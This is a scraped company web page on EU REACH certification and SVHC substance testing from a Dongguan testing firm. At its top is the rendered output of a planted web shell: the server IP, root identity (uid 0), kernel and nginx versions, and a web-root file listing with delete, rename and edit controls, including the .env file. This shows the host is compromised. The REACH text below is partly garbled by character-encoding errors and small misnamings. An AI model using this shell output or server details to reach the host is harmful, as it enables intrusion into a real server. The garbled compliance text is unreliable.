211.149.196.92 - Linux - whoami(root) - 【uid(0) gid(0)】
幸福不是因为得到的多,而是计较的少。苦苦追求没有得到的,不懂得珍惜拥有的,结果只是徒劳伤命。

路径

上传重命名为
上级目录操作属性创建时间修改时间下载
.well-known删除 改名07552025-11-04 14:14:252025-07-08 13:46:56-
about删除 改名05552026-02-02 17:41:192025-07-03 13:38:11-
application删除 改名05552026-02-02 17:41:192025-06-25 09:12:05-
case删除 改名05552026-02-02 17:41:192025-07-03 13:41:07-
cgi-bin删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
company删除 改名05552026-02-02 17:41:192025-07-03 13:38:17-
config删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
contact删除 改名05552026-02-02 17:41:192025-07-03 13:38:15-
cpjcc删除 改名05552026-02-02 17:41:192025-07-03 13:44:30-
cx删除 改名05552026-02-02 17:41:192025-07-03 13:38:16-
database删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
extend删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
honor删除 改名05552026-02-02 17:41:192025-07-09 11:30:05-
html删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
laboratoryEnvironment删除 改名05552026-02-02 17:41:192025-07-09 11:33:00-
news删除 改名05552026-02-02 17:41:192025-07-03 13:39:32-
news3删除 改名05552026-02-02 17:41:192025-07-03 13:41:17-
partners删除 改名05552026-02-02 17:41:192025-07-09 11:32:08-
product1删除 改名05552026-02-02 17:41:192025-11-02 16:35:14-
product2删除 改名05552026-02-02 17:41:192025-07-10 13:25:14-
product2-1删除 改名05552026-02-02 17:41:192025-07-03 13:42:25-
product3删除 改名05552026-02-02 17:41:192025-07-03 13:40:56-
product4删除 改名05552026-02-02 17:41:192025-07-03 13:41:23-
public删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
route删除 改名05552026-02-02 17:41:192025-06-25 09:12:06-
runtime删除 改名05552026-02-02 17:41:192025-06-25 09:12:09-
static删除 改名05552026-02-02 17:41:192025-06-25 09:12:10-
statics删除 改名05552026-02-02 17:41:192025-06-25 09:12:10-
template删除 改名05552026-02-02 17:41:192025-06-25 09:12:10-
thinkphp删除 改名05552026-02-02 17:41:192025-06-25 09:12:11-
vendor删除 改名05552026-02-02 17:41:192025-06-25 09:12:11-
wangl删除 改名05552026-02-02 17:41:192025-11-02 16:35:31-
.env编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11555 B
.gitignore编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1154 B
.htaccess编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11218 B
.travis.yml编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.99 K
.user.ini编辑 改名06442025-06-25 09:10:252025-06-25 09:10:2547 B
404.1.html编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.79 K
404.html编辑 改名05552026-02-02 17:41:192025-06-25 09:12:112.65 K
404_en.html编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.79 K
CHANGELOG.md编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1132.47 K
LICENSE.txt编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.81 K
README.md编辑 改名05552026-02-02 17:41:192025-06-25 09:12:112.23 K
build.php编辑 改名05552026-02-02 17:41:192025-06-25 09:12:111.05 K
composer.json编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11823 B
composer.lock编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1118.90 K
index.php编辑 改名05552026-02-02 17:41:192025-11-04 11:38:46834 B
robots.txt编辑 改名05552026-02-02 17:41:192025-06-25 09:12:1126 B
router.php编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11753 B
sitemap.html编辑 改名05552026-02-02 17:41:192025-10-28 13:47:2725.30 K
sitemap.xml编辑 改名05552026-02-02 17:41:192025-10-28 13:47:2762.30 K
think编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11823 B
web.config编辑 改名05552026-02-02 17:41:192025-06-25 09:12:11961 B
目录[32] - 文件[21] - 属性[0555]
Linux ebs-32930 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64
nginx/1.26.1
REACH Certification_Dongguan Pubiao Testing Technology Co., LTD

REACH

Position锛 Home Chemical REACH

REACH Certification

REACH Certification
Details

As of June 2025, the candidate list of substances of very high concern (SVHC) under the EU REACH regulation has been updated to 247 items:

REACH test item classification

SVHC (Substances of Very High Concern) detection:

As of June 2025, the SVHC list consists of 247 items (all non-metallic materials need to be tested, while 73 items for metallic materials are usually tested).

This includes CMR (carcinogenic, mutagenic, and reproductive toxic) substances, PBT (persistent, bioaccumulative, and toxic) substances, vPvB (highly persistent and highly bioaccumulative) substances, etc.

2. Restricted Substances (Annex XVII) :

It involves 71 restricted substances, such as lead, cadmium, phthalates, azo dyes, etc.

3. Physical and chemical property tests (such as density, melting point, boiling point, etc.).

4. Toxicological and ecotoxicity tests (such as acute toxicity, biodegradability, etc.).

Testing requirements for different materials:

Material type The number of SVHC test items Main test standards
Non-metals (plastics, textiles, etc.锛 247 items IEC 62321, EN 14372, etc
Metals (alloys, coatings, etc.锛 73 items ISO 17075, IEC 62321, etc

247 chemical substances. These substances are classified as having serious hazardous properties (such as carcinogenicity, mutagenicity, reproductive toxicity, persistence or bioaccumulation, etc.). The following are the main classifications of SVHCS and some typical substance examples:

I. Core Classification of 247 Substances of SVHC:

CMR substances (carcinogenic, mutagenic, reproductive toxic)

- Example:

-Benzo [a]pyrene

Cadmium and its compounds

Di (2-ethylhexyl) phthalate (DEHP)

2. PBT/vPvB substances (Persistence, bioaccumulation, Toxicity):

- Example:

Perfluorooctanoic acid (PFOA) and its salts

Hexabromocyclododecane (HBCDD)

Short-chain chlorinated paraffins (SCCPs)

3. Endocrine disruptors:

- Example:

-Bisphenol A (BPA

4-tert-butylphenol

4. Other substances of high concern:

- Example:

Nanomaterials (such as titanium dioxide nanoparticles)

Flame retardants (such as TBBPA)

Ii. Methods for Obtaining the SVHC List:

1. Official source:

- a complete list to check RECHA website: [SVHC candidate list] (https://echa.europa.eu/candidate-list-table)

- Supports screening by substance name, CAS number, and batch (batches 1 to 30).

Iii. Key Substances of Concern in Different Industries:

Industry Typical SVHC substances Test standard
Electronic appliances Lead, cadmium, hexavalent chromium, polybrominated biphenyls (PBBs) IEC 62321 series
Textiles Azo dyes, nonylphenol (NP锛 EN 14362-1/3
Toys Phthalates锛圖EHP銆丏BP銆丅BP锛 EN 71-3
Automobile Polycyclic aromatic hydrocarbons (PAHs), hexavalent chromium ISO 17075

V. Some Newly Added Substances (2024-2025):

Name of substance CAS Number Hazard attribute
TetrabromobisphenolA锛圱BBPA锛 79-94-7 Endocrine disruptors
Perfluorohexylsulfonic acid (PFHxS) and its salts 355-46-4 Persistence and bioaccumulation
BisphenolS锛圔PS锛 80-09-1 Reproductive toxicity

Latest updates

ECHA usually updates the SVHC list every six months, and enterprises need to keep a close eye on it.

If the SVHC content in the product is greater than 0.1% (by weight) and the annual export volume is more than 1 ton, it is necessary to report to ECHA.

The latest SVHC list, can consult RECHA website (https://echa.europa.eu/candidate-list-table).


Telephone

Consultation service hotline0769-81813516 134-2843-6560

Wechat

浜岀淮鐮Scan WeChat to chat

QQ

QQ